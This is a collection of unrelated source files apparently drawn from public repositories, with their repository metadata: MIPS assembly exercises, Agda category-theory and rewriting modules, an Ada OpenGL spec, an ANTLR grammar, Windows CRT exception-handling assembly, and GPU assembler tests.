#Resultado: v0 caractere
getChar:
li $t0, 10
blt $a0, $t0, getCharNumber #caso seja um numero
j getCharLetter #caso seja uma letra
getCharNumber:
addi $v0, $a0, 48 #0 na tabela ascii
j exitGetChar
getCharLetter:
addi $v0, $a0, 55 #10 + 55 = 65(A) na tabela ascii
exitGetChar:
jr $ra
###########################################################################
# GET NUMBER
###########################################################################
#recebe um caractere (de 0 a 9 ou A a F em geral) e retorna o numero dele
#Argumentos: a0 caractere
#Resultado: v0 numero
getNumber:
li $t0, 57
ble $a0, $t0, getNumberNumber #caso seja um numero
li $t0, 90
ble $a0, $t0, getNumberUpperLetter #caso seja uma letra maiuscula
j getNumberLesserLetter #caso seja uma letra minuscula
getNumberNumber:
subi $v0, $a0, 48 #0 na tabela ascii
j exitGetChar
getNumberUpperLetter:
subi $v0, $a0, 55 #x - 55 = [10, 15] na tabela ascii
j exitGetNumber
getNumberLesserLetter:
subi $v0, $a0, 87 #x - 87 = [10, 15] na tabela ascii
exitGetNumber:
jr $ra
###########################################################################
# CHECK VALID NUMBER
###########################################################################
#verifica se na string tem algum caractere estranho e
#se o numero corresponde a sua base
#Argumentos: a0 string, a1 base
#Resultado: v0 true ou false (1 ou 0), se eh valido
checkValidNumber:
li $v0, 1 #inicia com true
li $t0, 2
beq $t0, $a1, checkValidNumberBinary
li $t0, 8
beq $t0, $a1, checkValidNumberOctal
li $t0, 10
beq $t0, $a1, checkValidNumberDecimal
li $t0, 16
beq $t0, $a1, checkValidNumberHexadecimal
checkValidNumberBinary: #checa se um numero eh binario
li $t1, '0'
li $t2, '1'
j loopCheckValidNumber
checkValidNumberOctal: #checa se um numero eh octal
li $t1, '0'
li $t2, '7'
j loopCheckValidNumber
checkValidNumberDecimal: #chega se um numero eh decimal
li $t1, '0'
li $t2, '9'
j loopCheckValidNumber
checkValidNumberHexadecimal: #chega se um numero eh hexadecimal
j loopCheckValidNumberHexadecimal
loopCheckValidNumber: #verifica se o numero nao esta entre os caracteres de t0 e t1
lb $t0, ($a0)
addi $a0, $a0, 1
li $t3, '\n'
beq $t0, $t3, validNumber
li $t3, '\0'
beq $t0, $t3, validNumber #verifica se chegou no final da string
blt $t0, $t1, invalidNumber #caso nao corresponde aos caractes possiveis, invalida o numero
bgt $t0, $t2, invalidNumber
j loopCheckValidNumber
loopCheckValidNumberHexadecimal:
lb $t0, ($a0)
addi $a0, $a0, 1
li $t3, '\n'
beq $t0, $t3, validNumber
li $t1, '\0'
beq $t0, $t3, validNumber #verifica se chegou no final da string
li $t1, '0'
blt $t0, $t1, invalidNumber #caso nao corresponde aos caractes possiveis, invalida o numero
li $t1, '9'
ble $t0, $t1, loopCheckValidNumberHexadecimal
li $t1, 'A'
blt $t0, $t1, invalidNumber #caso nao corresponde aos caractes possiveis, invalida o numero
li $t1, 'F'
ble $t0, $t1, loopCheckValidNumberHexadecimal
li $t1, 'a'
blt $t0, $t1, invalidNumber #caso nao corresponde aos caractes possiveis, invalida o numero
li $t1, 'f'
bgt $t0, $t1, invalidNumber
j loopCheckValidNumberHexadecimal
invalidNumber:
li $v0, 4 #printa string
la $a0, stringNumberInvalid #texto dizendo que o numero eh invalido
syscall
li $v0, 0 #retorna false
validNumber:
jr $ra
###########################################################################
# CHECK ADD OVERFLOW
###########################################################################
#verfica se a soma de 2 numeros sem sinal em 32bits resulta em overflow
#Argumentos: $a0 e $a1 operandos
#Resultado: v0 true ou false (1 ou 0), se houve overflow
checkAddOverflow:
li $v0, 0
blt $a0, $zero, a0negative
blt $a1, $zero, a1negative
j exitCheckAddOverflow
a0negative:
blt $a1, $zero, a0a1negatives
add $t0, $a0, $a1
blt $t0, $zero, exitCheckAddOverflow
li $v0, 1
j exitCheckAddOverflow
a1negative:
add $t0, $a0, $a1
blt $t0, $zero, exitCheckAddOverflow
li $v0, 1
j exitCheckAddOverflow
a0a1negatives:
li $v0, 1
j exitCheckAddOverflow
exitCheckAddOverflow:
jr $ra
|
src/Categories/Functor/Slice.agda
|
MirceaS/agda-categories
| 0 |
9176
|
<filename>src/Categories/Functor/Slice.agda
{-# OPTIONS --without-K --safe #-}
open import Categories.Category
module Categories.Functor.Slice {o ℓ e} (C : Category o ℓ e) where
open import Data.Product using (_,_)
open import Categories.Adjoint
open import Categories.Category.CartesianClosed
open import Categories.Category.CartesianClosed.Locally
open import Categories.Functor
open import Categories.Functor.Properties
open import Categories.Morphism.Reasoning C
open import Categories.NaturalTransformation
import Categories.Category.Slice as S
import Categories.Diagram.Pullback as P
import Categories.Category.Construction.Pullbacks as Pbs
open Category C
open HomReasoning
module _ {A : Obj} where
open S.SliceObj
open S.Slice⇒
Base-F : ∀ {o′ ℓ′ e′} {D : Category o′ ℓ′ e′} (F : Functor C D) → Functor (S.Slice C A) (S.Slice D (Functor.F₀ F A))
Base-F {D = D} F = record
{ F₀ = λ { (S.sliceobj arr) → S.sliceobj (F₁ arr) }
; F₁ = λ { (S.slicearr △) → S.slicearr ([ F ]-resp-∘ △) }
; identity = identity
; homomorphism = homomorphism
; F-resp-≈ = F-resp-≈
}
where module D = Category D
open Functor F
open S C
Forgetful : Functor (Slice A) C
Forgetful = record
{ F₀ = λ X → Y X
; F₁ = λ f → h f
; identity = refl
; homomorphism = refl
; F-resp-≈ = λ eq → eq
}
BaseChange! : ∀ {B} (f : B ⇒ A) → Functor (Slice B) (Slice A)
BaseChange! f = record
{ F₀ = λ X → sliceobj (f ∘ arr X)
; F₁ = λ g → slicearr (pullʳ (△ g))
; identity = refl
; homomorphism = refl
; F-resp-≈ = λ eq → eq
}
module _ (pullbacks : ∀ {X Y Z} (h : X ⇒ Z) (i : Y ⇒ Z) → P.Pullback C h i) where
private
open P C
module pullbacks {X Y Z} h i = Pullback (pullbacks {X} {Y} {Z} h i)
open pullbacks
BaseChange* : ∀ {B} (f : B ⇒ A) → Functor (Slice A) (Slice B)
BaseChange* f = record
{ F₀ = λ X → sliceobj (p₂ (arr X) f)
; F₁ = λ {X Y} g → slicearr {h = Pullback.p₂ (unglue (pullbacks (arr Y) f)
(Pullback-resp-≈ (pullbacks (arr X) f) (△ g) refl))}
(p₂∘universal≈h₂ (arr Y) f)
; identity = λ {X} → ⟺ (unique (arr X) f id-comm identityʳ)
; homomorphism = λ {X Y Z} {h i} → unique-diagram (arr Z) f (p₁∘universal≈h₁ (arr Z) f ○ assoc ○ ⟺ (pullʳ (p₁∘universal≈h₁ (arr Y) f)) ○ ⟺ (pullˡ (p₁∘universal≈h₁ (arr Z) f)))
(p₂∘universal≈h₂ (arr Z) f ○ ⟺ (p₂∘universal≈h₂ (arr Y) f) ○ ⟺ (pullˡ (p₂∘universal≈h₂ (arr Z) f)))
; F-resp-≈ = λ {X Y} eq″ → unique (arr Y) f (p₁∘universal≈h₁ (arr Y) f ○ ∘-resp-≈ˡ eq″) (p₂∘universal≈h₂ (arr Y) f)
}
!⊣* : ∀ {B} (f : B ⇒ A) → BaseChange! f ⊣ BaseChange* f
!⊣* f = record
{ unit = ntHelper record
{ η = λ X → slicearr (p₂∘universal≈h₂ (f ∘ arr X) f {eq = identityʳ})
; commute = λ {X Y} g → unique-diagram (f ∘ arr Y) f
(cancelˡ (p₁∘universal≈h₁ (f ∘ arr Y) f) ○ ⟺ (cancelʳ (p₁∘universal≈h₁ (f ∘ arr X) f)) ○ pushˡ (⟺ (p₁∘universal≈h₁ (f ∘ arr Y) f)))
(pullˡ (p₂∘universal≈h₂ (f ∘ arr Y) f) ○ △ g ○ ⟺ (p₂∘universal≈h₂ (f ∘ arr X) f) ○ pushˡ (⟺ (p₂∘universal≈h₂ (f ∘ arr Y) f)))
}
; counit = ntHelper record
{ η = λ X → slicearr (pullbacks.commute (arr X) f)
; commute = λ {X Y} g → p₁∘universal≈h₁ (arr Y) f
}
; zig = λ {X} → p₁∘universal≈h₁ (f ∘ arr X) f
; zag = λ {Y} → unique-diagram (arr Y) f
(pullˡ (p₁∘universal≈h₁ (arr Y) f) ○ pullʳ (p₁∘universal≈h₁ (f ∘ pullbacks.p₂ (arr Y) f) f))
(pullˡ (p₂∘universal≈h₂ (arr Y) f) ○ p₂∘universal≈h₂ (f ∘ pullbacks.p₂ (arr Y) f) f ○ ⟺ identityʳ)
}
pullback-functorial : ∀ {B} (f : B ⇒ A) → Functor (Slice A) C
pullback-functorial f = record
{ F₀ = λ X → p.P X
; F₁ = λ f → p⇒ _ _ f
; identity = λ {X} → sym (p.unique X id-comm id-comm)
; homomorphism = λ {_ Y Z} →
p.unique-diagram Z (p.p₁∘universal≈h₁ Z ○ ⟺ identityˡ ○ ⟺ (pullʳ (p.p₁∘universal≈h₁ Y)) ○ ⟺ (pullˡ (p.p₁∘universal≈h₁ Z)))
(p.p₂∘universal≈h₂ Z ○ assoc ○ ⟺ (pullʳ (p.p₂∘universal≈h₂ Y)) ○ ⟺ (pullˡ (p.p₂∘universal≈h₂ Z)))
; F-resp-≈ = λ {_ B} {h i} eq →
p.unique-diagram B (p.p₁∘universal≈h₁ B ○ ⟺ (p.p₁∘universal≈h₁ B))
(p.p₂∘universal≈h₂ B ○ ∘-resp-≈ˡ eq ○ ⟺ (p.p₂∘universal≈h₂ B))
}
where p : ∀ X → Pullback f (arr X)
p X = pullbacks f (arr X)
module p X = Pullback (p X)
p⇒ : ∀ X Y (g : Slice⇒ X Y) → p.P X ⇒ p.P Y
p⇒ X Y g = Pbs.Pullback⇒.pbarr pX⇒pY
where pX : Pbs.PullbackObj C A
pX = record { pullback = p X }
pY : Pbs.PullbackObj C A
pY = record { pullback = p Y }
pX⇒pY : Pbs.Pullback⇒ C A pX pY
pX⇒pY = record
{ mor₁ = Category.id C
; mor₂ = h g
; commute₁ = identityʳ
; commute₂ = △ g
}
|
3-mid/opengl/source/lean/model/opengl-model-text.ads
|
charlie5/lace-alire
| 1 |
26067
|
<reponame>charlie5/lace-alire
with
openGL.Font;
package openGL.Model.text
--
-- Provides an abstract model for rendering text.
--
is
type Item is abstract new Model.item with private;
type View is access all Item'Class;
procedure Text_is (Self : in out Item; Now : in String) is abstract;
function Text (Self : in Item) return String is abstract;
function Font (Self : in Item) return Font.view is abstract;
no_such_Font : exception;
private
type Item is abstract new Model.item with null record;
end openGL.Model.text;
|
src/main/antlr4/org/knard/swingConsole/SyntaxParser.g4
|
knard/SwingConsole
| 0 |
7087
|
grammar SyntaxParser;
QUOTES: '"';
OR: '|';
OPENING_PARENTHESIS: '(';
CLOSING_PARENTHESIS: ')';
ID : [a-zA-Z] [a-zA-Z0-9]*;
WS: [ \n\t\r]+ -> skip;
syntax : expression EOF;
expression : or_expression | element ;
or_expression : OPENING_PARENTHESIS followed_expression ( OR followed_expression )+ CLOSING_PARENTHESIS;
followed_expression : expression+;
element : name | name_holder;
name : QUOTES ID QUOTES;
name_holder : ID;
|
assignment_3/question_3.asm
|
neerajp99/cs_103_cos_ashoka_university
| 0 |
16473
|
.data
n1: .asciiz "Enter the Nth natural number: "
naivef: .asciiz "Naive: "
interestingf: .asciiz "Interesting: "
error: .asciiz "Input is erroneous"
nextLine: .asciiz "\n"
.text
.globl main
main:
li $v0, 4
la $a0, n1
syscall
li $v0, 5
syscall
move $t0, $v0
slti $s1, $t0, 0
beq $s1,0, R
li $v0, 4
la $a0, error
syscall
li $v0, 10
syscall
R:
jal naive
jal interesting
li $v0, 10
syscall
# Naive method
naive:
move $t7, $t0
for_loop:
BLT $t7,1,Exit
mult $t7, $t7
mflo $s0
mult $s0, $t7
mflo $s1
add $s2, $s2, $s1
Sub $t7, $t7, 1
j for_loop
Exit:
#print string
li $v0, 4
la $a0, interestingf
syscall
li $v0,1
add $a0, $zero, $s2
syscall
# store return value
jr $ra
# interesting
interesting:
# using the formula: (N(N+1)/2)^2
add $t1, $t0, 1
mul $t2, $t0, $t1
div $t3, $t2, 2
mul $t3, $t3, $t3
li $v0, 4
la $a0, nextLine
syscall
li $v0, 4
la $a0, interestingf
syscall
li $v0, 1
move $a0, $t3
syscall
# store return value
jr $ra
|
core/words/expandmacro.asm
|
paulscottrobson/nextForth
| 2 |
18320
|
<reponame>paulscottrobson/nextForth
;
; Word: [expand.macro]
; Dictionary: ( - )
; Date: 1st February 2018
; Macro: No
; Notes:
;
__ExpandMacro:
jr __ExpandMacro
|
programs/oeis/007/A007660.asm
|
neoneye/loda
| 22 |
4512
|
<reponame>neoneye/loda
; A007660: a(n) = a(n-1)*a(n-2) + 1 with a(0) = a(1) = 0.
; 0,0,1,1,2,3,7,22,155,3411,528706,1803416167,953476947989903,1719515742866809222961802
sub $0,1
lpb $0
sub $0,1
add $2,5
div $2,2
mov $3,$1
mov $1,$2
mul $2,$3
lpe
div $1,2
mov $0,$1
|
SCS3211/Excercises/ex01.asm
|
UdeshUK/UCSC-CS
| 6 |
99602
|
.data
.text
li $t0,4
li $t1,2
mult $t0,$t1
mflo $t2
addi $t3,$t2,5
|
base/crts/crtw32/misc/i386/exsup2.asm
|
npocmaka/Windows-Server-2003
| 17 |
5734
|
<filename>base/crts/crtw32/misc/i386/exsup2.asm
;***
;exsup2.asm
;
; Copyright (c) 1994-2001, Microsoft Corporation. All rights reserved.
;
;Purpose:
; Exception handling for i386. This is just the C8.0 version of
; the language-specific exception handler. The C9.0 version is
; found in exsup3.asm, and the routines common to both C8 and C9
; are found in exsup.asm.
;
;Notes:
;
;Revision History:
; 01-10-94 PML Created with __except_handler2 from exsup.asm
; 01-11-95 SKS Remove MASM 5.X support
;
;*******************************************************************************
;hnt = -D_WIN32 -Dsmall32 -Dflat32 -Mx $this;
;Define small32 and flat32 since these are not defined in the NT build process
small32 equ 1
flat32 equ 1
.xlist
include pversion.inc
?DFDATA = 1
?NODATA = 1
include cmacros.inc
include exsup.inc
.list
;REVIEW: can we get rid of _global_unwind2, and just use
; the C runtimes version, _global_unwind?
extrn __global_unwind2:near
extrn __local_unwind2:near
;typedef struct _EXCEPTION_REGISTRATION PEXCEPTION_REGISTRATION;
;struct _EXCEPTION_REGISTRATION{
; struct _EXCEPTION_REGISTRATION *prev;
; void (*handler)(PEXCEPTION_RECORD, PEXCEPTION_REGISTRATION, PCONTEXT, PEXCEPTION_RECORD);
; struct scopetable_entry *scopetable;
; int trylevel;
; int _ebp;
; PEXCEPTION_POINTERS xpointers;
;};
_C8_EXCEPTION_REGISTRATION struc ; C8.0 version
dd ? ; prev (common)
dd ? ; handler (common)
;private:
scopetable dd ?
trylevel dd ?
_ebp dd ?
xpointers dd ?
_C8_EXCEPTION_REGISTRATION ends
;#define EXCEPTION_MAXIMUM_PARAMETERS 4
;typedef struct _EXCEPTION_RECORD EXCEPTION_RECORD;
;typedef EXCEPTION_RECORD *PEXCEPTION_RECORD;
;struct _EXCEPTION_RECORD{
; NTSTATUS ExceptionCode;
; ULONG ExceptionFlags;
; struct _EXCEPTION_RECORD *ExceptionRecord;
; PVOID ExceptionAddress;
; ULONG NumberParameters;
; ULONG ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
;};
_EXCEPTION_RECORD struc
exception_number dd ?
exception_flags dd ?
exception_record dd ?
exception_address dd ?
number_parameters dd ?
exception_information dd 4 dup(?)
_EXCEPTION_RECORD ends
SIZEOF_EXCEPTION_RECORD equ 36
;/* following is the structure returned by the _exception_info() intrinsic. */
;typedef struct _EXCEPTION_POINTERS EXCEPTION_POINTERS;
;typedef struct EXCEPTION_POINTERS *PEXCEPTION_POINTERS;
;struct _EXCEPTION_POINTERS{
; PEXCEPTION_RECORD ExceptionRecord;
; PCONTEXT Context;
;};
_EXCEPTION_POINTERS struc
ep_xrecord dd ?
ep_context dd ?
_EXCEPTION_POINTERS ends
SIZEOF_EXCEPTION_POINTERS equ 8
assumes DS,DATA
assumes FS,DATA
__except_list equ 0
;struct _SCOPETABLE_ENTRY{
; int enclosing_level; /* lexical level of enclosing scope */
; int (*filter)(PEXCEPTION_RECORD); /* NULL for a termination handler */
; void (*specific_handler)(void); /* xcpt or termination handler */
;};
;struct _SCOPETABLE_ENTRY Scopetable[NUMTRYS];
_SCOPETABLE_ENTRY struc
enclosing_level dd ?
filter dd ?
specific_handler dd ?
_SCOPETABLE_ENTRY ends
BeginCODE
;/* _EXCEPT_HANDLER2 - Try to find an exception handler listed in the scope
; * table associated with the given registration record, that wants to accept
; * the current exception. If we find one, run it (and never return).
; * RETURNS: (*if* it returns)
; * DISPOSITION_DISMISS - dismiss the exception.
; * DISPOSITION_CONTINUE_SEARCH - pass the exception up to enclosing handlers
; */
;int _except_handler2(
; PEXCEPTION_RECORD exception_record,
; PEXCEPTION_REGISTRATION registration,
; PCONTEXT context,
; PEXCEPTION_REGISTRATION dispatcher)
;{
; int ix, filter_result;
;
; for(ix=registration->trylevel; ix!=-1; ix=registration->xscope[ix].enclosing_level){
; /* if filter==NULL, then this is an entry for a termination handler */
; if(registration->xscope[ix].filter){
; /* NB: call to the filter may trash the callee save
; registers. (this is *not* a standard cdecl function) */
; filter_result=(*registration->xscope[ix].filter)(xinfo);
; if(filter_result==FILTER_DISMISS)
; return(-1); /* dismiss */
; if(filter_result==FILTER_ACCEPT){
; _global_unwind2(registration);
; _local_unwind2(registration, ix);
; (*registration->xscope[ix].specific_handler)(void);
; assert(UNREACHED); /*should never return from handler*/
; }
; assert(filter_result==FILTER_CONTINUE_SEARCH);
; }
; }
; return(0); /* didnt find one */
;}
db 'VC10' ;; VC/C++ 1.0/32-bit (C8.0) version
db 'XC00' ;; so debugger can recognize this proc (cuda:3936)
cProc _except_handler2,<C,PUBLIC>,<IBX,ISI,IDI,IBP>
parmDP xrecord
parmDP registration
parmDP context
parmDP dispatcher
localV xp,SIZEOF_EXCEPTION_POINTERS
cBegin
;4*4b for callee saves + 4b return address + 4b param = 24
;DF in indeterminate state at time of exception, so clear it
cld
mov ebx, registration ;ebx= PEXCEPTION_REGISTRATION
mov eax, xrecord
test [eax.exception_flags], EXCEPTION_UNWIND_CONTEXT
jnz short _lh_unwinding
;build the EXCEPTION_POINTERS locally store its address in the
; registration record. this is the pointer that is returned by
; the _eception_info intrinsic.
mov xp.ep_xrecord, eax
mov eax, context
mov xp.ep_context, eax
lea eax, xp
mov [ebx.xpointers], eax
mov esi, [ebx.trylevel] ;esi= try level
mov edi, [ebx.scopetable] ;edi= scope table base
_lh_top:
cmp esi, -1
je short _lh_bagit
lea ecx, [esi+esi*2] ;ecx= trylevel*3
cmp dword ptr [(edi+ecx*4).filter], 0
je short _lh_continue ;term handler, so keep looking
;filter may trash *all* registers, so save ebp and scopetable offset
push esi
push ebp
mov ebp, [ebx._ebp]
call [(edi+ecx*4).filter] ;call the filter
pop ebp
pop esi
;ebx may have been trashed by the filter, so we must reload
mov ebx, registration
; Accept <0, 0, >0 instead of just -1, 0, +1
or eax, eax
jz short _lh_continue
js short _lh_dismiss
;assert(eax==FILTER_ACCEPT)
;reload xscope base, cuz it was trashed by the filter call
mov edi, [ebx.scopetable]
;load handler address before we loose components of address mode
push ebx ;registration*
call __global_unwind2 ;run term handlers
add esp, 4
;setup ebp for the local unwinder and the specific handler
mov ebp, [ebx._ebp]
;the stop try level == accepting except level
push esi ;stop try level
push ebx ;registration*
call __local_unwind2
add esp, 8
lea ecx, [esi+esi*2] ;ecx=trylevel*3
; set the current trylevel to our enclosing level immediately
; before giving control to the handler. it is the enclosing
; level, if any, that guards the handler.
mov eax, [(edi+ecx*4).enclosing_level]
mov [ebx.trylevel], eax
call [(edi+ecx*4).specific_handler] ;call the except handler
;assert(0) ;(NB! should not return)
_lh_continue:
;reload the scope table base, possibly trashed by call to filter
mov edi, [ebx.scopetable]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4+0] ;load the enclosing trylevel
jmp short _lh_top
_lh_dismiss:
mov eax, DISPOSITION_DISMISS ;dismiss the exception
jmp short _lh_return
_lh_bagit:
mov eax, DISPOSITION_CONTINUE_SEARCH
jmp short _lh_return
_lh_unwinding:
push ebp
mov ebp, [ebx._ebp]
push -1
push ebx
call __local_unwind2
add esp, 8
pop ebp
;the return value is not really relevent in an unwind context
mov eax, DISPOSITION_CONTINUE_SEARCH
_lh_return:
cEnd
EndCODE
END
|
src/intel/tools/tests/gen9/bfe.asm
|
SoftReaper/Mesa-Renoir-deb
| 0 |
20632
|
<gh_stars>0
bfe(8) g96<1>UD g89<4,4,1>UD g30<4,4,1>UD g91<4,4,1>UD { align16 1Q };
bfe(16) g13<1>UD g44<4,4,1>UD g115<4,4,1>UD g126<4,4,1>UD { align16 1H };
bfe(8) g18<1>D g17<4,4,1>D g16<4,4,1>D g49<4,4,1>D { align16 1Q };
bfe(16) g13<1>D g11<4,4,1>D g42<4,4,1>D g5<4,4,1>D { align16 1H };
|
archive/agda-1/IsPropositionalFormula.agda
|
m0davis/oscar
| 0 |
15627
|
module IsPropositionalFormula where
open import OscarPrelude
open import Formula
open import Term
open import PredicateName
open import HasNeitherNor
data IsPropositionalFormula : Formula → Set
where
atomic : (𝑃 : PredicateName) → (τs : Terms) → IsPropositionalFormula $ 𝑃[ 𝑃 ♭ τs ]
logical : {φ₁ : Formula} → IsPropositionalFormula φ₁ → {φ₂ : Formula} → IsPropositionalFormula φ₂ → IsPropositionalFormula (φ₁ ⊗ φ₂)
instance EqIsPropositionalFormula : ∀ {φ} → Eq (IsPropositionalFormula φ)
Eq._==_ EqIsPropositionalFormula (atomic _ _) (atomic _ _ ) = yes refl
Eq._==_ EqIsPropositionalFormula (logical φ₁₁ φ₁₂) (logical φ₂₁ φ₂₂) with φ₁₁ ≟ φ₂₁ | φ₁₂ ≟ φ₂₂
Eq._==_ EqIsPropositionalFormula (logical φ₁₁ φ₁₂) (logical φ₂₁ φ₂₂) | yes refl | yes refl = yes refl
Eq._==_ EqIsPropositionalFormula (logical φ₁₁ φ₁₂) (logical φ₂₁ φ₂₂) | yes refl | no φ₁₂≢φ₂₂ = no λ {refl → φ₁₂≢φ₂₂ refl}
Eq._==_ EqIsPropositionalFormula (logical φ₁₁ φ₁₂) (logical φ₂₁ φ₂₂) | no φ₁₁≢φ₂₁ | _ = no λ {refl → φ₁₁≢φ₂₁ refl}
{-
-- need to use coinduction to prove this
foo : ¬ ∃ λ φ → ∃ λ (p₁ : IsPropositionalFormula φ) → ∃ λ (p₂ : IsPropositionalFormula φ) → p₁ ≢ p₂
foo (atomic x x₁ , atomic .x .x₁ , atomic .x .x₁ , snd₁) = snd₁ refl
foo (logical fst₁ fst₂ , logical fst₃ fst₄ , logical fst₅ fst₆ , snd₁) with fst₃ ≟ fst₅ | fst₄ ≟ fst₆
foo (logical fst₁ fst₂ , logical fst₃ fst₄ , logical .fst₃ .fst₄ , snd₁) | yes refl | (yes refl) = snd₁ refl
foo (logical fst₁ fst₂ , logical fst₃ fst₄ , logical .fst₃ fst₆ , snd₁) | yes refl | (no x₁) = foo (fst₂ , fst₄ , fst₆ , λ xs → x₁ xs)
foo (logical fst₁ fst₂ , logical fst₃ fst₄ , logical fst₅ fst₆ , snd₁) | no x | (yes x₁) = {!!}
foo (logical fst₁ fst₂ , logical fst₃ fst₄ , logical fst₅ fst₆ , snd₁) | no x | (no x₁) = {!!}
foo (quantified x fst₁ , () , fst₃ , snd₁)
-}
|
test/Succeed/Issue3211.agda
|
phadej/agda
| 0 |
9948
|
-- 2018-09-05, reported by <NAME>
-- The new type-directed rewriting was using the wrong type for
-- constructors of parametrized datatypes.
{-# OPTIONS --rewriting #-}
module _ where
module _ (Form : Set) where
open import Agda.Builtin.Equality
{-# BUILTIN REWRITE _≡_ #-}
data Cxt : Set where
_∙_ : (Γ : Cxt) (A : Form) → Cxt
data _≤_ : (Γ Δ : Cxt) → Set where
id≤ : ∀{Γ} → Γ ≤ Γ
lift : ∀{A Γ Δ} (τ : Γ ≤ Δ) → (Γ ∙ A) ≤ (Δ ∙ A)
postulate
lift-id≤ : ∀{Γ A} → lift id≤ ≡ id≤ {Γ ∙ A}
{-# REWRITE lift-id≤ #-}
|
kernel/subprojects/multiboot_loader/source/multiboot.asm
|
thomtl/Sigma
| 46 |
28309
|
<reponame>thomtl/Sigma<gh_stars>10-100
MULTIBOOT2_HEADER_MAGIC equ 0xE85250D6
MULTIBOOT2_ARCHITECTURE_i386 equ 0
section .loader_header
align 4
global multiboot_header
multiboot_header:
dd MULTIBOOT2_HEADER_MAGIC ; MAGIC
dd MULTIBOOT2_ARCHITECTURE_i386 ; ARCHITECTURE
dd (multiboot_header_end - multiboot_header) ; LENGTH
dd 0x100000000 - (MULTIBOOT2_HEADER_MAGIC + MULTIBOOT2_ARCHITECTURE_i386 + (multiboot_header_end - multiboot_header)) ; CHECKSUM
; Tags
dw 6; Type: Page Align Modules
dw 0; Flags: 0
dd 8; Size: 8
; End Tag
dw 0 ; Type
dw 0 ; Flags
dd 8 ; Size
multiboot_header_end:
|
test/Succeed/Issue3335.agda
|
phadej/agda
| 0 |
11753
|
<reponame>phadej/agda
{-# OPTIONS --rewriting #-}
open import Agda.Builtin.Equality
{-# BUILTIN REWRITE _≡_ #-}
record Box (P : Set) : Set where
constructor box
field
unbox : P
open Box public
postulate
A : Set
a : A
f : Box A → A
f= : f (box a) ≡ a
{-# REWRITE f= #-}
[a] : Box A
unbox [a] = a
-- Works thanks to eta
test1 : [a] ≡ box a
test1 = refl
-- Should work as well
test2 : f [a] ≡ f (box a)
test2 = refl
|
P5/P5_TestCode/P5_L1_testcase1/P5_L1_testcase1/mips1.asm
|
alxzzhou/BUAA_CO_2020
| 1 |
92125
|
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
beq $t0,$t0,funcout
nop
subu $31,$31,$31#????
func:
lui $t0,1
jr $31
nop
funcout:
addu $t1,$t1,$t0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
